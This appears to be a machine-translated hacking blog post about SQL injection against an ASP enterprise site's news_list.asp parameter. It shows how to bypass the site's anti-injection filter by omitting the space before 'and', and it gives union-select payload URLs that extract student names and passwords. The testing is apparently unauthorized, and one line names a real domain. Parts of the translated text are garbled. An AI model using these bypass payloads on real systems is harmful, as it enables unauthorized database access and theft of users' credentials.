Bypass anti-spam Injection System

When I was doing a penetration test for a site today, I found an asp enterprise site. asp is good, so I am very happy. One of the asp sites has such a link:

Http://www.xxx.cn/news_list.asp? News_id = 1165

There are vulnerabilities in Visual Testing. Add a single quotation mark to check the vulnerability. A box pops up and the urine is scared.

 

Many ASP websites are equipped with this advanced injection system because of injection and other problems. Therefore, injection vulnerabilities exist behind the sites with anti-injection systems, this can be done with bypass anti-injection, but these anti-injection systems are generally very spam, many do not filter cookie injection, or you can simply change the injection statement to bypass it, the following bad street statements must have been intercepted.

Http://www.xxx.cn/news_list.asp? News_id = 1165 and 1 = 1

Http://www.xxx.cn/news_list.asp? News_id = 1165 and 1 = 2

Http://www.bkjia.com/news_list.asp? News_id = 1165 and 666 = 666

I was shocked by the fact that order by was not intercepted. It was completely an anti-injection system without operation. I used order by to determine that the number of fields was 9 and filtered out and, I tried it several times and found that the feature of code bypass was "Space + and", so we simply do not need spaces. Write it like this:

Http://www.xxx.cn/news_list.asp? News_id = 1165and 1 = 1

Http://www.xxx.cn/news_list.asp? News_id = 1165and 1 = 2

Hey hey, sb, it's successful. There are a lot of bypass techniques on the Internet, but it seems that I have not mentioned this method. Although it's a pity that I can't guess the Administrator table, I only guessed the user table, union, you can still find out.

Http://www.xxx.cn/news_list.asp? News_id = 1165and 1 = 2 union select 1, 2, 3, 4, 5, 6, 7, 8, 9 from student

Http://www.xxx.cn/news_list.asp? News_id = 1165and 1 = 2 union select 1, 2, student_name, 4, 5, 6, student_password, 8, 9 from student

 

 


 

I am not interested in its library. It's just a matter of practice.